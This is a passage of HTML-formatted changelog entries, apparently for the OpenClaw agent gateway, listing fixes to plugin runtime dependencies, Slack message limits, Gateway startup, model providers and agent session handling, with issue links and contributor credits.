<li>Plugins/runtime-deps: include bundled provider plugins when <code>models.providers</code>, auth profiles, agent defaults, or subagent model refs configure that provider, while keeping inactive default-enabled provider plugins out of doctor repair. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4350160379" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74307" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74307/hovercard" href="https://github.com/openclaw/openclaw/issues/74307">#74307</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Skeptomenos/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Skeptomenos">@Skeptomenos</a>.</li>
<li>Plugins/runtime: resolve relative plugin <code>api.resolvePath</code> inputs against the plugin root instead of the host working directory, while keeping absolute and home paths user-resolved. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354673479" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74718" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74718/hovercard" href="https://github.com/openclaw/openclaw/pull/74718">#74718</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jimdawdy-hub/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jimdawdy-hub">@jimdawdy-hub</a>.</li>
<li>Plugins/runtime-deps: refresh mirrored root chunks through a temporary file before replacing the active copy, so failed refreshes do not delete chunks that running plugin imports still need. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Plugins/runtime-deps: prefer <code>require</code> conditional exports when building staged dependency aliases, so CommonJS-only plugin runtime deps such as <code>ws</code> do not resolve to ESM wrappers under Jiti. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4352876135" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74547" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74547/hovercard" href="https://github.com/openclaw/openclaw/issues/74547">#74547</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aderius/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aderius">@aderius</a>.</li>
<li>Bonjour/Gateway: cap flapping advertiser restarts in a sliding window, so mDNS probing/name-conflict loops disable discovery instead of churning indefinitely on constrained hosts. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348958904" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74209" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74209/hovercard" href="https://github.com/openclaw/openclaw/issues/74209">#74209</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4349224957" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74242" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74242/hovercard" href="https://github.com/openclaw/openclaw/pull/74242">#74242</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ndj888/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ndj888">@ndj888</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Sanjays2402/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Sanjays2402">@Sanjays2402</a>.</li>
<li>Plugins/runtime-deps: verify staged package entry files before reusing mirrored runtime roots, so browser-control repairs incomplete <code>ajv</code>/MCP SDK installs after update instead of failing after restart on a missing <code>ajv/dist/ajv.js</code>. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353810195" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74630" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74630/hovercard" href="https://github.com/openclaw/openclaw/issues/74630">#74630</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/spickeringlr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/spickeringlr">@spickeringlr</a>.</li>
<li>Heartbeat: resolve <code>responsePrefix</code> template variables with the selected provider, model, and thinking context before delivering alerts or suppressing prefixed <code>HEARTBEAT_OK</code> replies. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4057207695" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/43064" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/43064/hovercard" href="https://github.com/openclaw/openclaw/issues/43064">#43064</a>; repairs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4057211022" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/43065" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/43065/hovercard" href="https://github.com/openclaw/openclaw/pull/43065">#43065</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4077564180" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/46858" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/46858/hovercard" href="https://github.com/openclaw/openclaw/pull/46858">#46858</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yweiii/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yweiii">@yweiii</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JunJD/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JunJD">@JunJD</a>.</li>
<li>Memory/LanceDB: show full memory UUIDs in the <code>memory_forget</code> candidate list so agents can pass the displayed ID back to targeted deletion without hitting the full-UUID validator. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4265695758" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66913" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/66913/hovercard" href="https://github.com/openclaw/openclaw/pull/66913">#66913</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amittell/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amittell">@amittell</a>.</li>
<li>File-transfer plugin: require canonical read-path preflight authorization for <code>file.fetch</code>, fail closed when <code>dir.fetch</code> preflight entries are missing, absolute, or traversing, and recheck returned archive entries before handing archive bytes to callers. Carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348342550" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74134" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74134/hovercard" href="https://github.com/openclaw/openclaw/pull/74134">#74134</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/omarshahine/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/omarshahine">@omarshahine</a>.</li>
<li>Channels/Feishu: retry file-typed iOS video resource downloads as <code>media</code> after a Feishu/Lark HTTP 502 and preserve the original 502 when the fallback also fails. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4095635032" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/49855" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/49855/hovercard" href="https://github.com/openclaw/openclaw/issues/49855">#49855</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4098933775" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/50164" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/50164/hovercard" href="https://github.com/openclaw/openclaw/pull/50164">#50164</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347465827" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73986" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73986/hovercard" href="https://github.com/openclaw/openclaw/pull/73986">#73986</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alex-xuweilong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alex-xuweilong">@alex-xuweilong</a>.</li>
<li>Providers/Amazon Bedrock: expose the full Claude Opus 4.7 thinking profile (<code>xhigh</code>, <code>adaptive</code>, and <code>max</code>) for Bedrock model refs, while keeping Opus/Sonnet 4.6 on adaptive-by-default, so <code>/think</code> menus and validation match the Anthropic transport behavior. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354600083" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74701" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74701/hovercard" href="https://github.com/openclaw/openclaw/issues/74701">#74701</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/prasad-yashdeep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/prasad-yashdeep">@prasad-yashdeep</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sparkleHazard/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sparkleHazard">@sparkleHazard</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Sanjays2402/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Sanjays2402">@Sanjays2402</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>.</li>
<li>Plugins/tokenjuice: compile the bundled plugin against tokenjuice 0.7.0's published OpenClaw host types instead of a local compatibility shim, so package contract drift fails in OpenClaw validation before release. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>OAuth/secrets: ignore root-level Google OAuth <code>client_secret_*.json</code> downloads so local client-secret files do not appear as commit candidates. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354413662" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74689" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74689/hovercard" href="https://github.com/openclaw/openclaw/pull/74689">#74689</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jeongdulee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jeongdulee">@jeongdulee</a>.</li>
<li>Memory: mirror <code>sqlite-vec</code> into packaged bundled-plugin runtime deps for the default memory plugin, so builtin vector search does not lose its SQLite extension after upgrading to 2026.4.27. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354441000" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74692" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74692/hovercard" href="https://github.com/openclaw/openclaw/issues/74692">#74692</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mozi1924/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mozi1924">@mozi1924</a>.</li>
<li>Gateway/startup: bound local discovery advertisement during startup, so a stuck discovery plugin can no longer keep the Gateway from reaching ready. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4346875416" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73865" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73865/hovercard" href="https://github.com/openclaw/openclaw/issues/73865">#73865</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353810195" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74630" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74630/hovercard" href="https://github.com/openclaw/openclaw/issues/74630">#74630</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353860044" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74633" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74633/hovercard" href="https://github.com/openclaw/openclaw/issues/74633">#74633</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lpendeavors/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lpendeavors">@lpendeavors</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/moltar-bot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/moltar-bot">@moltar-bot</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Saboor711/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Saboor711">@Saboor711</a>.</li>
<li>Gateway/models: serve the last successful model catalog while stale reloads refresh in the background, so Gateway control-plane and OpenAI-compatible requests no longer block behind model-provider rediscovery after model config changes. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348343209" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74135" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74135/hovercard" href="https://github.com/openclaw/openclaw/issues/74135">#74135</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353810195" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74630" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74630/hovercard" href="https://github.com/openclaw/openclaw/issues/74630">#74630</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353860044" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74633" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74633/hovercard" href="https://github.com/openclaw/openclaw/issues/74633">#74633</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DerFlash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DerFlash">@DerFlash</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/moltar-bot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/moltar-bot">@moltar-bot</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Saboor711/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Saboor711">@Saboor711</a>.</li>
<li>CLI/status: resolve read-only channel setup runtime fallback from the packaged OpenClaw dist root, so <code>status --all</code>, <code>status --deep</code>, channel, and doctor paths do not crash when an external channel plugin needs setup metadata. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354478427" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74693" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74693/hovercard" href="https://github.com/openclaw/openclaw/issues/74693">#74693</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giangthb/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giangthb">@giangthb</a>.</li>
<li>SDK/events: keep per-run SDK event streams from surfacing duplicate raw chat projection frames, while normalizing chat-only projection frames and preserving raw access through <code>rawEvents</code>. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354625879" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74704" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74704/hovercard" href="https://github.com/openclaw/openclaw/issues/74704">#74704</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</li>
<li>SDK: report Gateway terminal <code>agent.wait</code> timeout snapshots with lifecycle metadata as <code>timed_out</code> while keeping bare wait deadlines non-terminal. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/clawsweeper/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/clawsweeper">@clawsweeper</a>.</li>
<li>Google Meet: block managed Chrome intro/test speech until browser health proves the participant is in-call, and expose <code>speechReady</code> diagnostics so login, admission, permission, and audio-bridge blockers no longer look like successful speech. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332551182" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72478" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72478/hovercard" href="https://github.com/openclaw/openclaw/issues/72478">#72478</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DougButdorf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DougButdorf">@DougButdorf</a>.</li>
<li>Slack/commands: keep native command argument menus on select controls for encoded choice values up to Slack's option limit and truncate fallback button labels to Slack's button-text limit, so long valid choices no longer render invalid Slack blocks. Thanks <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/slackapi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slackapi">@slackapi</a>.</li>
<li>Agents/Codex: flush accepted debounced steering messages before normal app-server turn cleanup, so inbound follow-ups acknowledged as queued are not dropped when the turn completes before the debounce fires. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Slack/interactive replies: keep rendered buttons and selects within Slack Block Kit value and count limits, and align command argument select values with Slack's option limit, so overlong agent-authored choices no longer make Slack reject the whole block payload. Thanks <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/slackapi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slackapi">@slackapi</a>.</li>
<li>Slack/interactive replies: drop overlong Block Kit button URLs while preserving valid callback values, so malformed link buttons no longer make Slack reject the whole interactive reply. Thanks <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/slackapi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slackapi">@slackapi</a>.</li>
<li>Slack/commands: truncate native command argument-menu confirmation text to Slack's dialog limit, so long plugin arg names no longer make fallback buttons render invalid Block Kit payloads. Thanks <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/slackapi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slackapi">@slackapi</a>.</li>
<li>Slack/exec approvals: cap native approval metadata context to Slack's element and text limits, so large approval details no longer make Slack reject the approval card. Thanks <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/slackapi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slackapi">@slackapi</a>.</li>
<li>Slack/exec approvals: cap native approval update fallback text to Slack's message limit while preserving the rendered approval blocks, so long commands no longer make resolved or expired approval cards stay stale after <code>chat.update</code> rejects <code>msg_too_long</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/slackapi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slackapi">@slackapi</a>.</li>
<li>Slack/commands: cap native command argument-menu fallback rows to Slack's message block limit, so large plugin choice lists no longer make Slack reject the generated menu. Thanks <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/slackapi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slackapi">@slackapi</a>.</li>
<li>Slack/commands: drop fallback command argument buttons whose encoded values exceed Slack's button-value limit, so one oversized plugin choice no longer makes Slack reject the whole menu. Thanks <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/slackapi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slackapi">@slackapi</a>.</li>
<li>Slack/messages: merge message-tool presentation and interactive blocks on Slack sends, so buttons and selects are no longer dropped when a structured message body is also present. Thanks <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/slackapi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slackapi">@slackapi</a>.</li>
<li>Slack/messages: cap Block Kit fallback text to Slack's send limit while preserving the rendered blocks, so long context fallbacks no longer make rich Slack messages fail with <code>msg_too_long</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/slackapi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slackapi">@slackapi</a>.</li>
<li>Slack/messages: cap Block Kit fallback text on message edits while preserving the rendered blocks, so long context fallbacks no longer make Slack reject <code>chat.update</code> calls with <code>msg_too_long</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/slackapi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slackapi">@slackapi</a>.</li>
<li>Channels/WhatsApp: require Baileys outbound message ids before marking auto-replies delivered, so transcript text and ack reactions no longer make failed group replies look sent. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4090958823" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/49225" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/49225/hovercard" href="https://github.com/openclaw/openclaw/issues/49225">#49225</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TinyTb/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TinyTb">@TinyTb</a>.</li>
<li>CLI/update: scope packaged Node compile caches by OpenClaw version and install metadata, so global installs no longer reuse stale compiled chunks after package updates. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</li>
<li>Channels/Voice call: keep pre-auth webhook in-flight limiting active when socket remote address metadata is missing, so slow-body requests from stripped-IP proxy paths still share the fallback bucket. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351826007" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74453" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74453/hovercard" href="https://github.com/openclaw/openclaw/pull/74453">#74453</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/davidangularme/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/davidangularme">@davidangularme</a>.</li>
<li>Plugin SDK/testing: lazy-load TypeScript from the plugin test-contract runtime and add release checks for critical SDK contract entrypoint imports and bundle size, so published packages fail preflight before shipping ESM-incompatible or oversized contract helpers. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Channels/Microsoft Teams: treat configured <code>19:...@thread.tacv2</code> and legacy <code>19:...@thread.skype</code> team/channel IDs as already resolved during startup, avoiding false <code>channels unresolved</code> warnings while preserving Graph name lookup for display-name entries. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354343671" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74683" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74683/hovercard" href="https://github.com/openclaw/openclaw/issues/74683">#74683</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dseravalli/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dseravalli">@dseravalli</a>.</li>
<li>CLI/browser: preserve parent flags while lazy-loading browser subcommands, so <code>openclaw browser --json open</code> and <code>openclaw browser --json tabs</code> keep machine-readable output after reparsing. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353127836" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74574" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74574/hovercard" href="https://github.com/openclaw/openclaw/issues/74574">#74574</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/devintegeritsm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/devintegeritsm">@devintegeritsm</a>.</li>
<li>Exec/elevated: preserve <code>turnSourceChannel</code> as <code>messageProvider</code> on approval-followup runs so <code>tools.elevated.allowFrom.&lt;provider&gt;</code> checks no longer fail with <code>provider=null</code> after the user approves an async elevated command. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354035233" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74646" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74646/hovercard" href="https://github.com/openclaw/openclaw/issues/74646">#74646</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xhd2015/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xhd2015">@xhd2015</a>.</li>
<li>Plugins/runtime-deps: add <code>openclaw plugins deps</code> inspection and repair with script-free package-manager defaults shared across plugin installers, so operators can repair missing bundled runtime deps without corrupting JSON output or blocking unrelated conflict-free deps. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Agents/output: strip internal <code>[tool calls omitted]</code> replay placeholders from user-facing replies while preserving visible reply whitespace. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353111354" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74573" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74573/hovercard" href="https://github.com/openclaw/openclaw/issues/74573">#74573</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/blaspat/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/blaspat">@blaspat</a>.</li>
<li>Providers/Google Vertex: route authorized_user ADC credentials through OpenClaw's REST transport so Docker installs using gcloud application-default credentials no longer crash in the Google SDK before requests are sent. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353780535" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74628" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74628/hovercard" href="https://github.com/openclaw/openclaw/issues/74628">#74628</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frankhal2001-design/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frankhal2001-design">@frankhal2001-design</a>.</li>
<li>ACP/resolver: fall through to thread-bound session resolution when an explicit <code>--session</code> token cannot be resolved while preserving the bad-token diagnostic when no thread binding exists, so Discord slash commands that auto-fill the current thread ID as the positional ACP target no longer return "Unable to resolve session target" errors. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4259261328" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66299" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66299/hovercard" href="https://github.com/openclaw/openclaw/issues/66299">#66299</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kindomLee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kindomLee">@kindomLee</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/martingarramon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/martingarramon">@martingarramon</a>.</li>
<li>Agents/sessions: emit a terminal lifecycle backstop when embedded timeout/error turns return without <code>agent_end</code>, so Gateway sessions no longer stay stuck in <code>running</code> after failover surfaces a timeout. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353527154" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74607" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74607/hovercard" href="https://github.com/openclaw/openclaw/issues/74607">#74607</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/millerc79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/millerc79">@millerc79</a>.</li>
